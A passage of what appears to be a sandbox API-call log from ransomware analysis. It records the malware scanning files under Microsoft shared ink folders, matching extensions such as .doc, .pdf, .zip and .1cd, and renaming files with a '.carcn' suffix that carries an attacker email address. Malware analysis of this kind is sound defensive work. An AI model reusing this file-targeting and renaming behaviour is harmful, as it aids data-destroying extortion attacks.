lpString2=".xml") returned -1 [0164.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0164.907] lstrlenW (lpString=".1cd") returned 4 [0164.907] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0164.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0164.907] lstrlenW (lpString=".jpg") returned 4 [0164.907] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0164.908] lstrcmpiW (lpString1=".dat", lpString2=".carcn") returned 1 [0164.908] lstrlenW (lpString="hwrlatinlm.dat") returned 14 [0164.908] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0168.061] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=1100592) returned 1 [0168.061] CloseHandle (hObject=0x318) returned 1 [0168.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0168.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0168.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0168.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0168.062] lstrlenW (lpString=".doc") returned 4 [0168.062] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0168.062] lstrlenW (lpString=".docx") returned 5 [0168.062] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0168.062] lstrlenW (lpString=".pdf") returned 4 [0168.062] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0168.062] lstrlenW (lpString=".xls") returned 4 [0168.062] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0168.062] lstrlenW (lpString=".xlsx") returned 5 [0168.062] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0168.062] lstrlenW (lpString=".ppt") returned 4 [0168.062] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0168.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0168.062] lstrlenW (lpString=".zip") returned 4 [0168.062] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0168.062] lstrlenW (lpString=".rar") returned 4 [0168.062] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0168.062] lstrlenW (lpString=".bz2") returned 4 [0168.062] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0168.062] lstrlenW (lpString=".7z") returned 3 [0168.062] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0168.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0168.062] lstrlenW (lpString=".dbf") returned 4 [0168.062] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0168.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0168.062] lstrlenW (lpString=".1cd") returned 4 [0168.062] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0168.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0168.062] lstrlenW (lpString=".jpg") returned 4 [0168.062] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0168.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0168.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0168.063] lstrlenW (lpString=".doc") returned 4 [0168.063] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0168.063] lstrlenW (lpString=".docx") returned 5 [0168.063] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0168.063] lstrlenW (lpString=".pdf") returned 4 [0168.063] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0168.063] lstrlenW (lpString=".xls") returned 4 [0168.063] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0168.063] lstrlenW (lpString=".xlsx") returned 5 [0168.063] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0168.063] lstrlenW (lpString=".ppt") returned 4 [0168.063] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0168.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0168.063] lstrlenW (lpString=".zip") returned 4 [0168.063] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0168.063] lstrlenW (lpString=".rar") returned 4 [0168.063] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0168.063] lstrlenW (lpString=".bz2") returned 4 [0168.063] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0168.063] lstrlenW (lpString=".7z") returned 3 [0168.063] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0168.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0168.063] lstrlenW (lpString=".dbf") returned 4 [0168.063] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0168.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0168.063] lstrlenW (lpString=".1cd") returned 4 [0168.064] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0168.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0168.064] lstrlenW (lpString=".jpg") returned 4 [0168.064] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0168.064] lstrcmpiW (lpString1=".dat", lpString2=".carcn") returned 1 [0168.064] lstrlenW (lpString="hwrusash.dat") returned 12 [0168.064] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0168.064] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=3380096) returned 1 [0168.064] CloseHandle (hObject=0x318) returned 1 [0168.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0168.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0168.064] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0168.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0168.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0168.065] lstrlenW (lpString=".doc") returned 4 [0168.065] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0168.065] lstrlenW (lpString=".docx") returned 5 [0168.065] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0168.065] lstrlenW (lpString=".pdf") returned 4 [0168.065] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0168.065] lstrlenW (lpString=".xls") returned 4 [0168.065] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0168.065] lstrlenW (lpString=".xlsx") returned 5 [0168.065] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0168.065] lstrlenW (lpString=".ppt") returned 4 [0168.065] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0168.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0168.065] lstrlenW (lpString=".zip") returned 4 [0168.065] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0168.065] lstrlenW (lpString=".rar") returned 4 [0168.065] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0168.065] lstrlenW (lpString=".bz2") returned 4 [0168.065] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0168.065] lstrlenW (lpString=".7z") returned 3 [0168.065] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0168.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0168.065] lstrlenW (lpString=".dbf") returned 4 [0168.065] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0168.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0168.065] lstrlenW (lpString=".1cd") returned 4 [0168.065] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0168.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0168.065] lstrlenW (lpString=".jpg") returned 4 [0168.065] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0168.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0168.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0168.066] lstrlenW (lpString=".doc") returned 4 [0168.066] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0168.066] lstrlenW (lpString=".docx") returned 5 [0168.066] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0168.066] lstrlenW (lpString=".pdf") returned 4 [0168.066] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0168.066] lstrlenW (lpString=".xls") returned 4 [0168.066] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0168.066] lstrlenW (lpString=".xlsx") returned 5 [0168.066] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0168.066] lstrlenW (lpString=".ppt") returned 4 [0168.066] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0168.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0168.066] lstrlenW (lpString=".zip") returned 4 [0168.066] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0168.066] lstrlenW (lpString=".rar") returned 4 [0168.066] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0168.066] lstrlenW (lpString=".bz2") returned 4 [0168.066] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0168.066] lstrlenW (lpString=".7z") returned 3 [0168.066] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0168.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0168.066] lstrlenW (lpString=".dbf") returned 4 [0168.066] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0168.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0168.066] lstrlenW (lpString=".1cd") returned 4 [0168.066] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0168.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0168.066] lstrlenW (lpString=".jpg") returned 4 [0168.067] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0168.067] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0168.067] lstrlenW (lpString="ipsar.xml") returned 9 [0168.067] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.541] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=2418) returned 1 [0169.541] CloseHandle (hObject=0x2d8) returned 1 [0169.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml")) returned 0x20 [0169.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0169.542] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0169.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0169.542] lstrlenW (lpString=".doc") returned 4 [0169.542] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0169.542] lstrlenW (lpString=".docx") returned 5 [0169.542] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0169.542] lstrlenW (lpString=".pdf") returned 4 [0169.542] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0169.542] lstrlenW (lpString=".xls") returned 4 [0169.542] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0169.542] lstrlenW (lpString=".xlsx") returned 5 [0169.542] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0169.542] lstrlenW (lpString=".ppt") returned 4 [0169.542] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0169.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0169.542] lstrlenW (lpString=".zip") returned 4 [0169.542] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0169.542] lstrlenW (lpString=".rar") returned 4 [0169.542] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0169.542] lstrlenW (lpString=".bz2") returned 4 [0169.542] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0169.542] lstrlenW (lpString=".7z") returned 3 [0169.542] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0169.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0169.542] lstrlenW (lpString=".dbf") returned 4 [0169.542] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0169.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0169.542] lstrlenW (lpString=".1cd") returned 4 [0169.542] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0169.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0169.543] lstrlenW (lpString=".jpg") returned 4 [0169.543] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0169.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0169.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0169.543] lstrlenW (lpString=".doc") returned 4 [0169.543] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0169.543] lstrlenW (lpString=".docx") returned 5 [0169.543] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0169.543] lstrlenW (lpString=".pdf") returned 4 [0169.543] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0169.543] lstrlenW (lpString=".xls") returned 4 [0169.543] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0169.543] lstrlenW (lpString=".xlsx") returned 5 [0169.543] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0169.543] lstrlenW (lpString=".ppt") returned 4 [0169.543] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0169.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0169.543] lstrlenW (lpString=".zip") returned 4 [0169.543] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0169.543] lstrlenW (lpString=".rar") returned 4 [0169.543] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0169.543] lstrlenW (lpString=".bz2") returned 4 [0169.543] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0169.543] lstrlenW (lpString=".7z") returned 3 [0169.543] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0169.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0169.543] lstrlenW (lpString=".dbf") returned 4 [0169.543] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0169.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0169.543] lstrlenW (lpString=".1cd") returned 4 [0169.543] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0169.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml") returned 60 [0169.544] lstrlenW (lpString=".jpg") returned 4 [0169.544] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0169.544] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0169.544] lstrlenW (lpString="ipscht.xml") returned 10 [0169.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.544] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=2436) returned 1 [0169.544] CloseHandle (hObject=0x2d8) returned 1 [0169.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0169.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0169.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0169.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0169.544] lstrlenW (lpString=".doc") returned 4 [0169.544] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0169.544] lstrlenW (lpString=".docx") returned 5 [0169.545] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0169.545] lstrlenW (lpString=".pdf") returned 4 [0169.545] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0169.545] lstrlenW (lpString=".xls") returned 4 [0169.545] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0169.545] lstrlenW (lpString=".xlsx") returned 5 [0169.545] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0169.545] lstrlenW (lpString=".ppt") returned 4 [0169.545] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0169.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0169.545] lstrlenW (lpString=".zip") returned 4 [0169.545] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0169.545] lstrlenW (lpString=".rar") returned 4 [0169.545] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0169.545] lstrlenW (lpString=".bz2") returned 4 [0169.545] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0169.545] lstrlenW (lpString=".7z") returned 3 [0169.545] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0169.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0169.545] lstrlenW (lpString=".dbf") returned 4 [0169.545] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0169.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0169.545] lstrlenW (lpString=".1cd") returned 4 [0169.545] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0169.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0169.545] lstrlenW (lpString=".jpg") returned 4 [0169.545] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0169.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0169.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0169.546] lstrlenW (lpString=".doc") returned 4 [0169.546] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0169.546] lstrlenW (lpString=".docx") returned 5 [0169.546] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0169.546] lstrlenW (lpString=".pdf") returned 4 [0169.546] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0169.546] lstrlenW (lpString=".xls") returned 4 [0169.546] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0169.546] lstrlenW (lpString=".xlsx") returned 5 [0169.546] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0169.546] lstrlenW (lpString=".ppt") returned 4 [0169.546] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0169.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0169.546] lstrlenW (lpString=".zip") returned 4 [0169.546] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0169.546] lstrlenW (lpString=".rar") returned 4 [0169.546] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0169.546] lstrlenW (lpString=".bz2") returned 4 [0169.546] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0169.546] lstrlenW (lpString=".7z") returned 3 [0169.546] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0169.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0169.546] lstrlenW (lpString=".dbf") returned 4 [0169.546] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0169.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0169.546] lstrlenW (lpString=".1cd") returned 4 [0169.546] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0169.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0169.546] lstrlenW (lpString=".jpg") returned 4 [0169.546] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0169.547] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0169.547] lstrlenW (lpString="ipscsy.xml") returned 10 [0169.547] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0174.364] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=2556) returned 1 [0174.364] CloseHandle (hObject=0x304) returned 1 [0174.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0174.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0175.214] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0175.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0175.215] lstrlenW (lpString=".doc") returned 4 [0175.215] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0175.215] lstrlenW (lpString=".docx") returned 5 [0175.215] lstrcmpiW (lpString1=".docx", lpString2="y.xml") returned -1 [0175.215] lstrlenW (lpString=".pdf") returned 4 [0175.215] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0175.215] lstrlenW (lpString=".xls") returned 4 [0175.215] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0175.215] lstrlenW (lpString=".xlsx") returned 5 [0175.215] lstrcmpiW (lpString1=".xlsx", lpString2="y.xml") returned -1 [0175.215] lstrlenW (lpString=".ppt") returned 4 [0175.215] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0175.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0175.215] lstrlenW (lpString=".zip") returned 4 [0175.215] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0175.215] lstrlenW (lpString=".rar") returned 4 [0175.215] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0175.215] lstrlenW (lpString=".bz2") returned 4 [0175.215] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0175.215] lstrlenW (lpString=".7z") returned 3 [0175.215] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0175.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0175.215] lstrlenW (lpString=".dbf") returned 4 [0175.215] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0175.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft 